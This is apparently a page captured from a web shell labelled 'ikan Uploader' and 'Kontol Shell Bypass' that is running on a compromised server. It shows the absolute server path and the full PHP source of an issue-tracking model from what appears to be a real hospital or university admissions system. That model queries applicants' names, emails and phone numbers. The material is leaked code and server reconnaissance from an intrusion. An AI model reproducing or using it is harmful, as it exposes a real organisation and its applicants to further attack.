ikan Uploader :
Directory : /var/www/html/shardahospital.org/lms/api/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/lms/api/application/models/Issues_model.php |
<?php
class Issues_model extends CI_Model {
function lists(){
$qs=trim_array($this->input->get());
$this->db->where("I.parent_id", 0);
if($qs['k']){
$this->db->group_start()
->like('I.cat', $qs['k'])
->or_like('I.issue', $qs['k'])
->or_like('I.description', $qs['k'])
->or_like('U.name', $qs['k'])
->or_like('U.email', $qs['k'])
->or_like('U.mob', $qs['k'])
->or_like('A.application_no', $qs['k'])
->group_end();
}
if($qs['status']){
$this->db->where("I.status", $qs['status']);
}
if($qs['cat']){
$this->db->where("I.cat", $qs['cat']);
}
if($qs['step_completed']){
$this->db->where_in("A.step_completed", explode(",", $qs['step_completed']));
}
$this->db->select("I.id, I.cat, I.issue, I.file, I.description, I.created, I.status, I.close_date, U.name, U.email, U.mob, A.id app_id, A.application_no, A.step_completed")
->from("issues_reported I")
->join("applicants U", "U.id=I.applicant_id")
->join("applications A", "U.id=A.applicant_id")
->order_by("I.id", "DESC");
$rs=$this->dba->pagedRows($qs['p'], 100, 5);
foreach($rs['result'] as &$r){
$r['description']=str_short($r['description'], 200);
$r['created']=get_date($r['created']);
$r['close_date']=get_date($r['close_date']);
$r['status_text']=issueStatusLookup($r['status']);
$r['fileUrl']=$r['file']?UP_URLF.'issues/'.$r['file']:'';
$r['noOfComments']=(int)$this->db->select("COUNT(id) n")->get_where("issues_reported", array('parent_id'=>$r['id']))->row()->n;
}
return $rs;
}
function detail($id){
$dtl=$this->db->select("I.id, I.cat, I.issue, I.file, I.description, I.created, I.status, I.close_date, A.name, A.email, A.mob")
->from("issues_reported AS I")
->join("applicants AS A", "A.id=I.applicant_id")
->where("I.id", $id)
->get()->row_array();
if($dtl){
$dtl['description']=encode_script(nl2br($dtl['description']));
$dtl['created']=get_date($dtl['created']);
$dtl['close_date']=get_date($dtl['close_date']);
$dtl['status_text']=issueStatusLookup($dtl['status']);
$dtl['fileUrl']=$dtl['file']?UP_URLF.'issues/'.$dtl['file']:'';
$dtl['comments']=$this->db->select("I.id, I.description, I.created, U.name AS comment_by, IF(U.id IS NULL, 'IN', 'OUT') AS flg", FALSE)
->from("issues_reported AS I")
->join("users AS U", "I.comment_by_id=U.id", "LEFT")
->where(array('I.parent_id'=>$dtl['id']))
->order_by("id")->get()->result_array();
foreach($dtl['comments'] as &$r){
$r['description']=encode_script(nl2br($r['description']));
$r['created']=get_date($r['created'], true);
if($r['flg']=='IN'){
$r['comment_by']=$dtl['name'];
}else{
$r['comment_by'].=" [Sharda University]";
}
}
}
return $dtl;
}
function delete($id){
$this->db->db_debug=FALSE;
return $this->db->delete("issues_reported", array('id'=>$id));
}
/** Category */
function listCats(){
$qs=trim_array($this->input->get());
if($qs['k']){
$this->db->like('title',$qs['k']);
}
$rs=$this->db->select("*")
->from("issues_cats AS IC")
->order_by("IC.disp_odr")
->get()->result_array();
return $rs;
}
function catDetail($id){
$rs=$this->db->get_where("issues_cats", array('id'=>$id))->row_array();
$rs['issues']=$this->db->order_by("disp_odr")->get_where("issues", array('cat_id'=>$id))->result_array();
return $rs;
}
function deleteCat($id){
$this->db->db_debug=FALSE;
return $this->db->delete("issues_cats", array('id'=>$id));
}
function used_cats(){
$rs=$this->db->select("DISTINCT cat", false)->from("issues_reported")->where(['parent_id'=>0])->order_by('cat')->get()->result_array();
return $rs;
}
}
//End of file
Kontol Shell Bypass